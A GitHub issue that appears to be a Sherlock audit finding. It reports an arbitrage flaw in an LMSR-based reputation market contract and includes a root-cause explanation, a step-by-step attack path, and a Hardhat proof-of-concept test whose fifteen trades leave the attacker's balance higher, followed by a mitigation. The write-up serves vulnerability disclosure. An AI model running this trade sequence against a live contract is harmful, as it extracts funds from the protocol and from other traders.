Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Radiant Peach Rook - Arbitrage Vulnerability in LMSR-Based Market #138

Open
sherlock-admin2 opened this issue Dec 30, 2024 · 0 comments
Open

Comments

@sherlock-admin2
Copy link

Radiant Peach Rook

High

Arbitrage Vulnerability in LMSR-Based Market

Summary

The choice to apply the LMSR formula on a per-transaction “spot price” basis rather than enforcing the integral cost for each user's net position will cause an arbitrage exploit for the market participants as an attacker can buy and sell multiple times to net out a guaranteed profit.

Root Cause

The choice to track each user’s shares separately and let them trade at the “spot” LMSR price is a mistake as it breaks LMSR’s no-arbitrage assumption.
By design, LMSR needs to charge the integral cost from the old market state to the new one for every position change, ensuring no free profit. When the code treats each trade independently at the current spot price, it allows certain multi-step trades to extract risk-free profit.

in another terms:
In a standard single-pool LMSR design, no-arbitrage is guaranteed only if all traders pay or receive the integral (cumulative) cost difference when they change their positions. This means that the protocol calculates the cost of going from one global state (𝑞 oldYes, 𝑞 oldNo) to a new global state (𝑞 newYes, 𝑞 newNo) and charges or rebates that exact difference for the entire trade.

However, in this implementation:

  1. Spot Pricing Instead of Integral Cost
    The protocol appears to use a “spot” LMSR price for each incremental buy or sell transaction rather than integrating over the user’s full position change in a single step. Essentially, if a user wants to buy n shares, the cost is computed as if they’re buying each share one at a time at the spot price and summing those marginal costs—rather than using the difference cost(𝑞 old + 𝑛) − cost(𝑞 old).

  2. Individual Balances vs. Single Collateral Pool
    Each user holds personal “yes” or “no” vote balances. When they buy or sell, the protocol re-prices the entire market based on the new total “yes” and “no” votes—but does not enforce a single, unified cost basis for each user’s net position. This lets a user (or multiple addresses controlled by the same attacker) shuffle partial buys/sells in a way that manipulates the spot price back and forth, capturing a risk-free profit.

  3. Breaking LMSR’s No-Arbitrage Assumption
    LMSR no-arbitrage relies on the idea that any partial shift in the market state should cost or refund the entire difference in cost function values. By allowing repeated incremental buys/sells at spot prices (and ignoring the integral cost each user accrued), the system inadvertently opens an arbitrage route. The attacker can:

  • First, buy negative votes to push positive votes cheaper,
  • Then, buy (or sell) positive votes at a favorable rate,
  • Continue toggling the market’s “yes/no” ratio until eventually selling out at a higher price than their overall cost.
    As a result, the attacker ends up with more ETH (or whatever currency is used) than they started with, extracting it from the collateral or from other users in the pool—thus violating the no-arbitrage principle that LMSR is supposed to guarantee.

https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/utils/LMSR.sol?plain=1#L93-L103

Internal Pre-conditions

  • There must be at least two users interacting with the same market.

External Pre-conditions

  • No external conditions need to shift drastically; this exploit relies purely on the contract’s internal pricing logic.
  • Gas costs remain low enough that repeated trades are feasible for the attacker. which is true in base layer 2.

Attack Path

  • Attacker (User B) buys a small number of “no” shares, nudging the global price in favor of “yes.”
  • Attacker immediately buys a large amount of “yes” shares at a relatively low “spot” price.
  • The attacker (or another user) then reverses the shift (e.g., buys “no” or sells “yes”) so the global price changes again, making the attacker’s “yes” shares more valuable.
  • Attacker sells the large “yes” position at the new higher price, pocketing more than they originally paid due to the incorrect per-transaction pricing.

Impact

The protocol (and possibly other honest traders) suffer a loss equivalent to the difference between the attacker’s buy and sell prices that LMSR should have recaptured as integral cost. The attacker gains that difference as risk-free profit.

PoC

add this code to one of the test like test/reputationMarket/rep.market.test.ts
this is just a numerical example of how shares can be bought. other amount of shares are acceptable.

  describe('ReputationMarket - LMSR Arbitrage PoC', () => {

    it('should replicate the multi-step scenario (matching logged events)', async () => {
      const initialBalanceB = await ethers.provider.getBalance(await userB.signer.getAddress());

      // (1) user 0 (userA) buys negative votes: amount=199, funds=1.0966e18
      await userA.buyVotes({
        isPositive: false,
        votesToBuy: 199n,
        buyAmount: 1096640775160633321n, // from logs
        minVotesToBuy: 199n, // prevent slippage revert
      });

      // (2) user 1 (userB) buys negative votes: amount=539, funds=3.477e18
      await userB.buyVotes({
        isPositive: false,
        votesToBuy: 539n,
        buyAmount: 3477047841202111564n,
        minVotesToBuy: 539n,
      });

      // (3) user 1 (userB) buys positive votes: amount=58, funds=2.008e17
      await userB.buyVotes({
        isPositive: true,
        votesToBuy: 58n,
        buyAmount: 200866704876282396n,
        minVotesToBuy: 58n,
      });

      // (4) user 0 (userA) buys negative votes: amount=880, funds=6.939e18
      await userA.buyVotes({
        isPositive: false,
        votesToBuy: 880n,
        buyAmount: 6939093775531676167n,
        minVotesToBuy: 880n,
      });

      // (5) user 1 (userB) buys positive votes: amount=936, funds=2.502e18
      await userB.buyVotes({
        isPositive: true,
        votesToBuy: 936n,
        buyAmount: 2502324595526037849n,
        minVotesToBuy: 936n,
      });

      // (6) user 1 (userB) buys positive votes: amount=997, funds=4.912e18
      await userB.buyVotes({
        isPositive: true,
        votesToBuy: 997n,
        buyAmount: 4912834256989671652n,
        minVotesToBuy: 997n,
      });

      // (7) user 1 (userB) sells negative votes: amount=367, funds=1.271e18
      await userB.sellVotes({
        isPositive: false,
        sellVotes: 367n,
        minSellPrice: 0n, // or any slippage tolerance
      });

      // (8) user 0 (userA) buys positive votes: amount=431, funds=3.265e18
      await userA.buyVotes({
        isPositive: true,
        votesToBuy: 431n,
        buyAmount: 3265293300620231538n,
        minVotesToBuy: 431n,
      });

      // (9) user 1 (userB) sells positive votes: amount=590, funds=3.95e18
      await userB.sellVotes({
        isPositive: true,
        sellVotes: 590n,
        minSellPrice: 0n,
      });

      // (10) user 1 (userB) buys positive votes: amount=944, funds=7.314e18
      await userB.buyVotes({
        isPositive: true,
        votesToBuy: 944n,
        buyAmount: 7314690072635150709n,
        minVotesToBuy: 944n,
      });

      // (11) user 0 (userA) sells negative votes: amount=781, funds=9.68e17
      await userA.sellVotes({
        isPositive: false,
        sellVotes: 781n,
        minSellPrice: 0n,
      });

      // (12) user 0 (userA) sells negative votes: amount=57, funds=4.782e16
      await userA.sellVotes({
        isPositive: false,
        sellVotes: 57n,
        minSellPrice: 0n,
      });

      // (13) user 1 (userB) sells negative votes: amount=97, funds=7.586e16
      await userB.sellVotes({
        isPositive: false,
        sellVotes: 97n,
        minSellPrice: 0n,
      });

      // (14) user 1 (userB) buys positive votes: amount=514, funds=5.059e18
      await userB.buyVotes({
        isPositive: true,
        votesToBuy: 514n,
        buyAmount: 5059477828343247676n,
        minVotesToBuy: 514n,
      });

      // (15) user 1 (userB) sells positive votes: amount=2714, funds=2.082e19
      await userB.sellVotes({
        isPositive: true,
        sellVotes: 2714n,
        minSellPrice: 0n,
      });

      const finalBalanceB = await ethers.provider.getBalance(await userB.signer.getAddress());

      // ---- Before/After Assertions ----
      console.log("userB balance before: ", initialBalanceB);
      console.log("userB balance after : ", finalBalanceB);

      expect(finalBalanceB).to.be.gt(initialBalanceB, 'User B’s balance should have changed');

    });
  });

output:

ReputationMarket - LMSR Arbitrage PoC
userB balance before:  200000000000000000000000n
userB balance after :  200005143574131685336412n

the attacker balance increased even though attacker paid for fees.

Mitigation

Enforce the full integral cost for each user’s net position changes.
Store users’ total positions and charge them according to the difference in the LMSR cost function from their old position to their new position.
Avoid using LMSR spot pricing for partial buy/sell orders in isolation.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant